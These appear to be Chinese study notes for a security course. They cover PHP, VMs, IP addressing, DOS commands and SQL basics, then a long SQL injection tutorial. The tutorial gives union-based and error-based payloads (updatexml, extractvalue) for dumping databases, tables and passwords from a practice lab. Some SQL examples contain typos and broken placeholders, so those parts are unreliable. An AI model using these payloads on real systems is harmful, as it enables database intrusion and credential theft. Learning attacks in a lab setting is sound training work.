php 知识点
- php 是弱类型变量
unset () 释放内存 - 可变变量
一个变量的名字可以动态的设置和使用,$$ 是 php 的特性,也是 php 中产生变量覆盖漏洞的原因 - var_dump ($ 变量),可以输出变量类型和数据
- 字符串
- 单引号
转义
字符串出现变量名,不会引用 - 双引号
符串出现变量名,会引用 - 定界符
$str = <<< 任意 取名
对应取名;
- 预定义常量
php 已经定义好了,可以直接使用的常量,一般代表特殊的含义
魔术常类是预定义常量中比较特殊的一类 - 数组
- 键值对
键:存储数组中,变量的编号
值:变量的值
索引数组:键是整数
关联数组:键是字符串
echo 不能输出数组,可以使用 print_r () 函数输出数组,var_dump 输出信息虽然多,但是不会遗漏
- foreach 语句提供了 遍历数组的简单方式
虚拟环境
- 虚拟机的概述
- 寄居架构
本来一个电脑只能有一个系统,但是安装虚拟机之后便可在里面安装多个系统 - 原生架构
虚拟机软件直接安装在计算机硬件上
虚拟机本身就是一个操作系统
在这个虚拟机中可以同时运行多个操作系统
- VMware 安装与系统部署
- 管理虚拟机
IP
由 32 位二进制组成
范围:0-255
IP 地址构成:网络位 + 主机位
- 子网掩码
局域网通信规则:在同一个局域网中,只有同一段网段才能通信 (网络位相同)
子网掩码:用来确定 IP 地址的网络
一个 IP 地址,必须配套一个子网掩码
A 类:1-126 默认子网掩码 255.0.0.0
B 类:128-191 默认子网掩码:255.255.0.0
C 类:192-223 默认子网掩码 255.255.255.0
D 类:224-239 组播地址
E 类:240-254 科研使用
127.0.0.1 回环地址 - 网关
一般是该网段的第一个或者最后一个(1/254) - DNS
ping 目标 IP 地址 测试网络连通性,有去有回即为可以成功通信
ping -t 目标 IP 地址 一直 ping
ping -n 数字 目标 IP 地址 修改 ping 包的数量
ping -l 数字 IP 地址 修改 ping 包的大小
注:如果 ping 不通,可能对方不在线,或者对方开着防火墙
DOS 命令
type 文件名。扩展名 | more 分页显示
dir c:|windows | more 分页显示 windows 目录
创建文件
echo
copy con 文件名。扩展名
批处理编写
自上而下的处理每一条命令,直到最后一条
- 如何创建批处理
扩展名:.bat
创建方法:新建一个记事本文件,然后扩展名改为.bat
web 安全
SQL 注入漏洞:数据库操作危害
目录遍历漏洞:源码结构泄露危害
文件读取漏洞:源码内容获取危害
文件上传漏洞:Web 权限丢失危害
SQL
- SQL 对大小写不敏感:SELECT 与 select 是相同的。
- 一些重要的 SQL 命令
- select - 从数据库提取数据
- update - 更新数据库中的数据
- delete - 从数据库中删除数据
- insert into - 向数据库中插入新数据
- create database - 创建新数据库
- alter database - 修改数据库
- create table - 创建新表
- alter table - 变更 (改变) 数据库表
- drop table - 删除表
- create index - 创建索引 (搜索键)
- drop index - 删除索引
- select 语句
select 语句用于从数据库中选取数据。
结果被存储在一个结果表中,称为结果集。
语法:
select column_name,column_name
from table_name;
或者
select * from table_name;
下面的 SQL 语句从 “Websites” 表中选取 “name” 和 “country” 列:
select name,country from Websites; - select distinct 语句
select distinct 语句用于返回唯一不同的值。
在表中,一个列可能会包含多个重复值,有时您也许希望仅仅列出不同(distinct)的值。
distinct 关键词用于返回唯一不同的值。
语法
select distinct column_name,column_name
from table_name;
下面的 SQL 语句仅从 “Websites” 表的 “country” 列中选取唯一不同的值,也就是去掉 “country” 列重复值:
select distinct country from Websites; - where 子句
where 子句用于提取那些满足指定条件的记录
语法
select column_name,column_name
from table_name
where column_name operator value;
下面的 SQL 语句从 “Websites” 表中选取国家为 “CN” 的所有网站:
select * from Websites where country=‘CN’; - 引号
SQL 使用单引号来环绕文本值(大部分数据库系统也接受双引号)。
如果是数值字段,请不要使用引号。
WHERE 子句中的运算符
运算符 | 描述 |
---|---|
= | 等于 |
<> | 不等于或者!= |
> | 大于 |
< | 小于 |
>= | 大于等于 |
<= | 小于等于 |
between | 在某个范围内 |
like | 搜索某种形式 |
in | 指定针对某个列的多个可能值 |
- and & or 运算符
and & or 运算符用于基于一个以上的条件对记录进行过滤。
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
下面的 SQL 语句从 “Websites” 表中选取国家为 “CN” 且 alexa 排名大于 “50” 的所有网站:
select * from Websites
where country=‘CN’
and alexa > 50;
下面的 SQL 语句从 “Websites” 表中选取国家为 “USA” 或者 “CN” 的所有客户:
selecct * from Websites
where country=‘USA’
or country=‘CN’;
下面的 SQL 语句从 “Websites” 表中选取 alexa 排名大于 “15” 且国家为 “CN” 或 “USA” 的所有网站:
select * from Websites
where alexa > 15
and (country=‘CN’ or country=‘USA’); - order by 关键字
order by 关键字用于对结果集按照一个列或者多个列进行排序。
order by 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,您可以使用 desc 关键字。
语法:
select column_name,column_name
from table_name
order by column_name,column_name asc|desc;
下面的 SQL 语句从 “Websites” 表中选取所有网站,并按照 “alexa” 列排序:
select * from Websites
order by alexa;
下面的 SQL 语句从 “Websites” 表中选取所有网站,并按照 “alexa” 列降序排序:
select * from Websites
order by alexa desc - insert into 语句
insert into 语句用于向表中插入新记录。
语法:
第一种形式无需指定要插入数据的列名,只需提供被插入的值即可:
insert into table_name
values (value1,value2,value3,…);
第二种形式需要指定列名及被插入的值:
insert into table_name (column1,column2,column3,…)
values (value1,value2,value3,…);
假设我们要向 “Websites” 表中插入一个新行。
insert into Websites (name, url, alexa, country)
values (‘百度’,‘https://www.baidu.com/’,‘4’,'CN’); - update 语句
update 语句用于更新表中的记录。(改变值)
语法:
update table_name
set column1=value1,column2=value2,…
where some_column=some_value;
假设我们要把 “菜鸟教程” 的 alexa 排名更新为 5000,country 改为 USA。
update Websites
set alexa=‘5000’, country=‘USA’
where name=‘菜鸟教程’; - delete 语句
delete 语句用于删除表中的记录。
语法:
delete from table_name
where some_column=some_value;
假设我们要从 “Websites” 表中删除网站名为 “Facebook” 且国家为 USA 的网站。
delete from Websites
where name=‘Facebook’ and country=‘USA’;
删除所有数据
delete from table_name;
或
delete * from table_name; - select top,limit,rownum 子句
select top 子句用于规定要返回的记录的数目。
注意:并非所有的数据库系统都支持 select top 语句。 MySQL 支持 limit 语句来选取指定的条数数据, Oracle 可以使用 roenum 来选取。
SQL Server / MS Access 语法
select top number|percent column_name (s)
from table_name;
MySQL 语法
select column_name (s)
from table_name
limit number;
Oracle 语法
select column_name (s)
from table_name
where rownum <= number;
在 Microsoft SQL Server 中还可以使用百分比作为参数。
下面的 SQL 语句从 websites 表中选取前面百分之 50 的记录:
select top 50 percent * from Websites; - like 操作符
like 操作符用于在 where 子句中搜索列中的指定模式。
语法:
select column_name(s)
from table_name
where column_name like pattern;
下面的 SQL 语句选取 name 以字母 “G” 开始的所有客户:
selectT * from Websites
where name LIKE ‘G%’;
“%” 符号用于在模式的前后定义通配符(默认字母)。
通过使用 not 关键字,您可以选取不匹配模式的记录。
下面的 SQL 语句选取 name 不包含模式 “oo” 的所有客户:
select * from Websites
where name not like ‘%oo%’; - SQL 通配符
通配符可用于替代字符串中的任何其他字符。
在 SQL 中,通配符与 SQL like 操作符一起使用。
在 SQL 中,可使用以下通配符:
通配符 | 描述 |
---|---|
% | 替代 0 个或多个字符 |
- | 替代一个字符 |
[charlist] | 字符列中的任何单一字符 |
[^charlist] 或 [!charlist] | 不在字符列中的任何单一字符 |
下面的 SQL 语句选取 url 以字母 “https” 开始的所有网站:
select * from Websites
where url like ‘https%’;
下面的 SQL 语句选取 name 以一个任意字符开始,然后是 “oogle” 的所有客户:
select * from Websites
where name like ‘_oogle’;
下面的 SQL 语句选取 name 以 “G” 开始,然后是一个任意字符,然后是 “o”,然后是一个任意字符,然后是 “le” 的所有网站:
select * from Websites
where name like ‘G_o_le’;
下面的 SQL 语句选取 name 以 “G”、“F” 或 “s” 开始的所有网站:
select * from Websites
where name regexp ‘[1]’;
下面的 SQL 语句选取 name 以 A 到 H 字母开头的网站:
select * from Websites
where name regexp ‘[2]’;
下面的 SQL 语句选取 name 不以 A 到 H 字母开头的网站:
select * from Websites
where name regexp ‘[A-H]’;
- in 操作符
in 操作符允许您在 where 子句中规定多个值。
语法:
select column_name(s)
from table_name
where column_name in (value1,value2,…);
下面的 SQL 语句选取 name 为 “Google” 或 “菜鸟教程” 的所有网站:
select * from Websites
where name in (‘Google’,‘菜鸟教程’); - between 操作符
between 操作符用于选取介于两个值之间的数据范围内的值。
语法:
select column_name(s)
from table_name
where column_name between value1 AND value2;
下面的 SQL 语句选取 alexa 介于 1 和 20 之间的所有网站:
select * from Websites
where alexa between 1 and 20;
如需显示不在上面实例范围内的网站,请使用 NOT BETWEEN:
select * from Websites
where alexa not between 1 and 20; - 别名
通过使用 SQL,可以为表名称或列名称指定别名。
语法:
列:
select column_name as alias_name
from table_name;
表:
select column_name(s)
from table_name as alias_name; - 连接 (join)
join 用于把来自两个或多个表的行结合起来。
- inner join:如果表中有至少一个匹配,则返回行
在表中存在至少一个匹配时返回行。
语法:
select column_name(s)
from table1
inner join table2
on table1.column_name=table2.column_name;
或:
select column_name(s)
from table1
join table2
on table1.column_name=table2.column_name;
left join:即使右表中没有匹配,也从左表返回所有的行
从左表(table1)返回所有的行,即使右表(table2)中没有匹配。如果右表中没有匹配,则结果为 NULL。
语法
select column_name (s)
from table1
left join table2
on table1.column_name=table2.column_name;
或:
select column_name(s)
from table1
left outer join table2
on table1.column_name=table2.column_name;
right join:即使左表中没有匹配,也从右表返回所有的行
从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。
语法
select column_name (s)
from table1
right join table2
on table1.column_name=table2.column_name;
或:
select column_name(s)
from table1
right outer join table2
on table1.column_name=table2.column_name;
full join:只要其中一个表中存在匹配,则返回行
只要左表(table1)和右表(table2)其中一个表中存在匹配,则返回行.
关键字结合了 left join 和 right join 的结果。
语法
select column_name (s)
from table1
full outer join table2
on table1.column_name=table2.column_name;
- union 操作符
union 操作符合并两个或多个 SELECT 语句的结果。
注意: union 内部的每个 select 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
语法:
select column_name(s) from table1
union
select column_name(s) from table2;
注释:默认地,union 操作符选取不同的值。如果允许重复的值,请使用 union all。 - select into 语句
通过 SQL,您可以从一个表复制信息到另一个表。
select into 语句从一个表复制数据,然后把数据插入到另一个新表中。
SQL 注入
- 为什么存在 sql 注入
- 语言分类:解释型语言和编译型语言。
解释型语言:是一种在运行时由一个运行时组件解释语言代码并执行其中包含指令的语言
编译型语言:代码在生成时转化为机器指令,然后在运行时直接由使用该语言的计算机执行这些命令
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行可能存在恶意行为的代码
可控变量,带入数据库查询,变量未存在过滤或过滤不严谨
注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。
SQL 注入:服务器端未严格校验客户端发送的数据,而导致服务端 SQL 语句被恶意修改并成功执行
- 会产生 SQL 注入原因:
- 代码对带入 SQL 语句的参数过滤不严格
- 未启用框架的安全配置
- 未使用框架安全的查询方法
- 测试接口未删除
- 未启用防火墙
- 未使用其他安全的防护设备
- SQL 注入危害:
- 登录功能:数据库信息泄露,数据库存放的用户隐私信息泄露
- 搜索功能:网页篡改;网页被挂马,传播恶意软件;修改数据库一些字段的值,嵌入网马链接,进行挂马攻击
- 详情页:数据库被恶意操作;数据库服务器被攻击;数据库系统管理员账户被篡改
- 商品购买:服务器被远程控制
总结:任何和数据库产生交互的地方都会存在注入
- 注入的一般步骤:
(1) SQL 注入点探测。通过适当的分析应用程序可以判断什么地方存在 SQL 注入点。通常只要带有输入提交的动态网页并且动态网页访问数据库就可能存在 SQL 注入漏洞
(2) 收集后台数据库信息。由于不同的数据库注入方法、函数都不一样,所以在注入之前要先判断数据库类型。
(3) 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的 SQL 语句在数据库中一次猜解出表名、字段名、字段数、用户名和密码。
(4) 查找 Web 后台管理入口。WEB 后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用 Web 目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
(5) 入侵和破坏。 - 注入的分类
按照请求方法分类:
- GET 型注入
- POST 型注入
按照数据类型分类: - 整型注入
- 字符型注入
其他类型: - 报错注入
- 双注入
- 时间盲注
- Cookie 注入
- User-Agent 注入
- 常用的系统函数
- version ()-------MySQL 版本
- user ()--------- 数据库用户名
- database ()--------- 数据库名
- @@datadir-------- 数据库路径
- @@version_compile_os-------- 操作系统版本
- 字符串连接函数
- concat (str1,str2,…)------- 没有分隔符的连接字符串
- concat_ws (separator,str1,str2,…)----- 含有分隔符的连接字符串
- group_concat (str1,str2,…)------ 连接一个组的所有字符串,并以逗号分隔每一条数据
sql 注入的一般方法
(1) 联合查询 union 注入:
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。
所谓联合查询注入即是使用 union 合并两个或多个 SELECT 语句的结果集,所以两个及以上的 select 必须有相同列、且各列的数据类型也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。
查询的字段必须等于主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。
(2) information_schema 注入:
information_schema 数据库是 MySQL5.0 系统自带的数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。
通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来。
(3) 基于报错信息注入:
此方法是在页面没有显示位,但是 echomysql_error (); 函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error (); 输出了错误信息时使用。常见的 select/insert/update/delete 注入都可以使用报错方式来获取信息。
- 三个常用的用来报错的函数
updatexml(): 函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
extractvalue() : 函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数.
floor(): MYSQL 中用来取整的函数. - 基于报错的信息获取:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
k’ and updatexml (1,concat (0x7e,(SELECT @@version),0x7e),1) # 爆数据库版本信息
k’ and updatexml (1,concat (0x7e,(SELECT user ()),0x7e),1)# 爆数据库当前用户
k’ and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1) # 爆数据库
k’ and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema=‘数据库名’limit 0,1)),0)#,但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示 爆表名
k’ and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_name=‘users’limit 2,1)),0)# 爆字段
k’ and updatexml (1,concat (0x7e,(select password from users limit 0,1)),0)# 爆值
(4) insert 注入、update 注入 、dalete 注入 、Http Header 注入 、Cookie 注入
1、insert 注入:注册的信息,没有经过过滤直接带到数据库中,导致 insert 注入。
注入方法 payload:a’ or updatexml (1,concat (0x7e,(命令)),0) or’
①. 爆表名
a’or updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) or’
②. 爆列名
a’ or updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_name=‘users’limit 2,1)),0) or’
③. 爆内容
a’ or updatexml (1,concat (0x7e,(select password from users limit 0,1)),0) or’等同于
a’ or updatexml (1,concat (0x7e,(select password from users limit 0,1)),0) or ‘1’=‘1’’
2、update 注入:用户登陆端,没有经过过滤直接带到数据库中,导致 update 注入。
a’ or updatexml(0,concat(0x7e,(database())),0) or’
3、dalete 注入:应用于前后端发贴、留言、用户等相关删除操作时抓包。
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
4、Http Header 注入:数据库直接获取了前端的头信息没有做任何的处理导致注入。
在 User-Agent 输入 Mozilla 'or updatexml (1,concat (0x7e,database ()),0) or ’
5、Cookie 注入:后端获取 Cookie 直接在数据库中进行拼接,那这也是一个 SQL 注入点。
注入方法 :在 ant [uname]=admin 后添加一个’观察反馈的 MYSQL 的语法报错,发现了存在 SQL 注入漏洞后,再插入 'and updatexml (1,concat (0x7e,database ()),0)#
- SQL 注入总结:
- 判断是否注入 (是否严格校验)
(1) 可控参数 (id) 能否影响页面显示
(2) 输入的 SQL 语句是否能报错 (能通过数据库报错,看到数据库一些语句痕迹)(select username,password from user where id = ?’ ) 后面单引号或者双引号
通过在 URL 中修改对应的 id 值,值为正常数字、大数字、字符 (单引号、双引号、双单引号、括号)、反斜杠 \ 来探测 URL 中是否存在注入点
(3) 输入的 SQL 语句能否不报错 (我们的语句能够成功闭合) (select username,password from user where id = ‘?’ #‘limite 0,1’) - 什么类型的注入
- 语句能否被恶意修改 (select username,password from user where id = ‘?’ and 0 #)
- 是否能够成功执行
- 获取我们想要的注入
数据库 -> 表 -> 字段 -> 值
抓包找出万能密码 (找出具体是哪种后台语言,确定万能密码)
CMS 逻辑
index.php 首页展示内容,具有文章列表 (链接具有文章 id),article.php 文章详细页,URL 中 article.php?id = 文章 id 读取 id 文章
- 注入提交方式 (get post cookie)
ASP:request (全部接受)、request.querystring (接受 get)、request.form (接受 post)、 request.cookie cookie (接受 cookie)
PHP: _GET(接受 get)、 _COOKIE(接受 cookie) - 一般用于尝试的语句 (也就是根据 sql 语句,运用逻辑判断反馈结果得到判断类型)
Ps:–+ 可以用 #替换,url 提交过程中 Url 编码后的 #为 %23
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
不再显示错误的盲注
Blind sql (盲注) 是注入攻击的一种,向数据库发送 true 或 false 这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决 SQL 注入存在的代码问题
登录型
登录 SQL 语句:select * from admin where username = ' 用户输入的用户名’and password = ‘用户输入的密码’’
登录 SQL 语句:select * from admin where username = ' 用户输入的用户名‘ and password =‘用户输入的密码’
用户输入的内容可由用户自行控制,例如可以输入 数字’or 1 = 1 -- 空格 (%20 也表示空格或者 + 或者 #)
SQL 语句:select * from admin where username =‘数字’ or 1=1 --'and password =‘用户输入的密码’
其中 or 1=1 永远为真,–注释后面内容不再执行,因此 SQL 语句执行会返回 admin 表中的所有内容
数字型注入
-
概念
当输入的参数为整型时,如 ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在 ASP、PHP 等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数 id=8,PHP 会自动推导变量 id 的数据类型为 int 类型,那么 id=8 and 1=1,则会推导为 string 类型,这是弱类型语言的特性。而对于 Java、C# 这类强类型语言,如果试图把一个字符串转换为 int 类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
数字型:select * from table where id =$id -
判断:
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
select * from <表名> where id = 1 and 1=1 (true)
select * from <表名> where id = 1 and 1=2 (false)
字符型:
select * from <表名> where id = ‘1 and 1=1’
select * from <表名> where id = ‘1 and 1=2’
不会进行逻辑判断 (转化为字符型语句,单引号里面就是一团内容) -
数字 or 1=1
举例:
select * from table where id = 1 or 1 = 1
永为真 -
步骤
(1) 利用 1 order by 判断字段数
(2) 显位:联合查询查看显示位
1 union select 1,2 #
(3) 爆库:显示出数据库名字
1 union select 1,group_concat (schema_name) from (information_schema.schemata)#
或 所有数据库
1 union select 1,database ()# 当前数据库
(4) 爆表:利用 union select 联合查询,获取表名
1 union select 1,group_concat (table_name) from information_schema.tables where table_schema=database ()# 当前数据库的表
1 union select1,group_concat (table_name) from (information_schema.tables) where table_schema=‘数据库名字’ # 指定名称数据库的表
(5) 爆列:利用 union select 联合查询,获取字段名
1 union select 1,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name=‘表名’ # 当前数据库的指定表名
1 union select 1,group_concat (column_name) from (information_schema.columns) where table_name=‘表名’ # 在所有数据库中指定一个表名
(6) 爆值:利用 union select 联合查询,获取字段值
1 union select 1,group_concat (concat_ws (表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值
或
1 union select 1,group_concat (表名对应的字段名) from (数据库。表名) 在所有数据库中对应表名的字段值
字符型注入
- 概念
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
字符型:select * from table where id=’$id’ - 判断:
- 这种类型我们同样可以使用’ and ‘1’=‘1 和 x’ and ‘1’ = ‘2 来判断:(得知道 username)
select * from <表名> where id = ‘x’ and ‘1’=‘1’ (true)
select * from <表名> where id = ‘x’ and ‘1’=‘2’ (false)
select name.passwd from users where username=’ ’ and password=‘ ’ - 内容’ or ‘1’=‘1’# 和内容’ or ‘1’=‘2’#
select name.passwd from users where username=’ 内容’ or ‘1’=‘1 ’ and password=‘ 内容 ’
select name.passwd from users where username=’ 内容’ or ‘1’=‘1’# ’ and password=‘ 内容 ’ (true)
select name.passwd from users where username=’ 内容’ or ‘1’=‘2’# ’ and password=‘ 内容 ’(false) - 内容’ or ‘1’=‘1 和 内容’ or ‘1’=‘2 (得知道 username)
select name.passwd from users where username=’ 内容’ or ‘1’=‘1 ’ and password=‘ 内容 ’
and 优先级大于 or
(select name.passwd from users where username=‘admin’) or( ‘1’=‘1’ and password=‘12345’)
所以这里有猜测成分,内容必须为真
- 内容’ or 1=1#
比如传进去 C1everF0x’ or 1=1#,结果就是 ‘C1everF0x’ or 1=1#’,
C1everF0x 就被闭合掉,中间的 or 1=1 就是 sql 注入攻击语句
(1) 利用 1’ order by 判断字段数
(2) 显位:联合查询查看显示位
1’ union select 1,2 #
(3) 爆库:显示出数据库名字
1’ union select 1,group_concat (schema_name) from (information_schema.schemata)# 所有数据库
或
1’ union select 1,database ()# 当前数据库
(4) 爆表:利用 union select 联合查询,获取表名 columns_priv
1’ union select 1,group_concat (table_name) from information_schema.tables where table_schema=database ()# 当前数据库的表
1’union select 1,group_concat (table_name) from (information_schema.tables) where table_schema=‘数据库名字’ # 指定名称数据库的表
(5) 爆列:利用 union select 联合查询,获取字段名
1’ union select 1,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name=‘表名’ # 当前数据库的指定表名
1’ union select 1,group_concat (column_name) from (information_schema.columns) where table_name=‘表名’ # 在所有数据库中指定一个表名
(6) 爆值:利用 union select 联合查询,获取字段值
1’ union select 1,group_concat (concat_ws (表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值
或
1’ union select 1,group_concat (表名对应的字段名) from (数据库。表名) 在所有数据库中对应表名的字段值
搜索型注入
-
概念
当在搜索框搜索的时候,称为搜索型。搜索型与数字型注入最大的区别在于:数字型不需要百分号闭合,而搜索类型一般要使用百分号来闭合。
搜索型:select * from user where password like ‘%$pwd%’; -
判断
使用 keywords% 'and 1=1 and ‘%’=' 和 keywords% ‘and 1=2 and ‘%’=’
select username from user where username like ‘%keyword% ‘and 1=1 and ‘%’=’%’ (true)
select username from user where username like ‘%keyword% ‘and 1=2 and ‘%’=’%’ (false) -
x%’ or 1 = 1 #
(1) 利用 1’ order by 判断字段数
(2) 显位:联合查询 x% 查看显示位
x%’ union select 1,2 #
(3) 爆库:显示出数据库名字
x%’ union select 1,group_concat (schema_name) from (information_schema.schemata)#
或 所有数据库
x%’ union select 1,database ()# 当前数据库
(4) 爆表:利用 union select 联合查询,获取表名
x%’ union select 1,group_concat (table_name) from information_schema.tables where table_schema=database ()# 当前数据库的表
x%’ union select 1,group_concat (table_name) from (information_schema.tables) where table_schema=‘数据库名字’ # 指定名称数据库的表
(5) 爆列:利用 union select 联合查询,获取字段名
x%’ union select 1,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name=‘表名’ # 当前数据库的指定表名
x%’ union select 1,group_concat (column_name) from (information_schema.columns) where table_name=‘表名’ # 在所有数据库中指定一个表名
(6) 爆值:利用 union select 联合查询,获取字段值
x%’ union select 1,group_concat (concat_ws (‘分隔符’, 表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值
或
x%’ union select 1,group_concat (表名对应的字段名) from (数据库。表名) 在所有数据库中对应表名的字段值 -
举例:
所有数据库
information_schema,mysql,performance_schema,pikachu,sys
pikachu
表:httpinfo,member,message,users,xssblind
httpinfo
列:id,userid,ipaddress,useragent,httpaccept,remoteport
id | userid | ipaddress | useragent | httpaccept | remoteport |
---|---|---|---|---|---|
xx 型注入
-
概念
这种情况很少见,是程序员不规则操作造成的,一般不会单独归为一类。
xx 型:select * from users where username = (’$name’) -
判断
-
xx’) or 1=1#
(1) 利用 x’) order by 判断字段数
(2) 显位:联合查询 x% 查看显示位
x’) union select 1,2 #
(3) 爆库:显示出数据库名字
x’) union select 1,group_concat (schema_name) from (information_schema.schemata)#
或 所有数据库
x’) union select 1,database ()# 当前数据库
(4) 爆表:利用 union select 联合查询,获取表名
x’) union select 1,group_concat (table_name) from information_schema.tables where table_schema=database ()# 当前数据库的表
x’) union select 1,group_concat (table_name) from (information_schema.tables) where table_schema=‘数据库名字’ # 指定名称数据库的表
(5) 爆列:利用 union select 联合查询,获取字段名
x’) union select 1,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name=‘表名’ # 当前数据库的指定表名
x’) union select 1,group_concat (column_name) from (information_schema.columns) where table_name=‘表名’ # 在所有数据库中指定一个表名
(6) 爆值:利用 union select 联合查询,获取字段值
x’) union select 1,group_concat (concat_ws (表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值
或
x’) union select 1,group_concat (表名对应的字段名) from (数据库。表名) 在所有数据库中对应表名的字段值
双引号注入
-
双引号型:select * from users where username = ("$name")
-
判断
-
xx") or 1=1#
(1) 利用 x") order by 判断字段数
(2) 显位:联合查询 x% 查看显示位
x") union select 1,2 #
(3) 爆库:显示出数据库名字
x") union select 1,group_concat (schema_name) from (information_schema.schemata)#
或 所有数据库
x") union select 1,database ()# 当前数据库
(4) 爆表:利用 union select 联合查询,获取表名
x") union select 1,group_concat (table_name) from information_schema.tables where table_schema=database ()# 当前数据库的表
x") union select 1,group_concat (table_name) from (information_schema.tables) where table_schema=‘数据库名字’ # 指定名称数据库的表
(5) 爆列:利用 union select 联合查询,获取字段名
x") union select 1,group_concat (column_name) from information_schema.columns where table_schema=database () and table_name=‘表名’ # 当前数据库的指定表名
x") union select 1,group_concat (column_name) from (information_schema.columns) where table_name=‘表名’ # 在所有数据库中指定一个表名
(6) 爆值:利用 union select 联合查询,获取字段值
x") union select 1,group_concat (concat_ws (表名对应的字段名)) from (表名) 在当前数据库中的相应表名的字段值
或
x") union select 1,group_concat (表名对应的字段名) from (数据库。表名) 在所有数据库中对应表名的字段值
基于报错注入
部分网站不直接引用数据库查询结果并将其显示在页面上,而是仅仅只返回查询成功与否的状态,那么在这种情况下,就很难利用联合查询的方式来进行注入。
为了解决这一难题,我们引入了报错注入这一新的攻击方式。其思路就是,虽然网站不将数据查询结果直接返回到前端,但是如果我们人为地引发数据库的错误,那么数据库会将报错信息返回给前端。如果我们可以构造恰当的报错语句,使得数据库返回给我们的报错信息夹带上我们所需要查询的数据,就可以顺利的通过报错的方式来完成注入。
- 在 mysql 高版本(大于 5.1 版本)中添加了对 XML 文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现 xml 文档路径错误就会产生报错 - updatexml()函数
updatexml()是一个使用不同的 xml 标记匹配和替换 xml 块的函数。
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是 string 格式,为 XML 文档对象的名称,文中为 Doc 第二个参数:代表路径,Xpath 格式的字符串例如 //title【@lang】 第三个参数:string 格式,替换查找到的符合条件的数据
updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml (1,0x7e,3)); 由于 0x7e 是~,不属于 xpath 语法格式,因此报出 xpath 语法错误。 - extractvalue()函数
此函数从目标 XML 中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string 格式,为 XML 文档对象的名称 第二个参数:xpath_string(xpath 格式的字符串) select * from test where id=1 and (extractvalue (1,concat (0x7e,(select user ()),0x7e)));
extractvalue 使用时当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于 0x7e 就是~不属于 xpath 语法格式,因此报出 xpath 语法错误。 - SQL 语句:username’,‘sex’,‘email’,‘add’)";
- 步骤
(1) 爆库
1’ and updatexml (1,concat (0x7e,(select database ()),0x7e),1) #
1’ and extractvalue(1,concat(0x7e,database(),0x7e)) #
query="insert into member(username,pw,sex,phonenum,email,address) values('1' and updatexml(1,concat(0x7e,database(),0x7e),1) #','password’,‘phonenum’,’$email’,‘add’)";
query="insert into member(username,pw,sex,phonenum,email,address) values('1' and updatexml(1,concat(0x7e,database(),0x7e),1)
and' ','password’,‘phonenum’,’$email’,‘add’)";
(2) 爆表
1’ and updatexml (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema=database ()),0x7e),1) #
1’ and updatexml (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema=‘数据库名’),0x7e),1) #
1’ and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),0x7e),1) #
1’ and extractvalue (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema=‘数据库名’),0x7e)) #
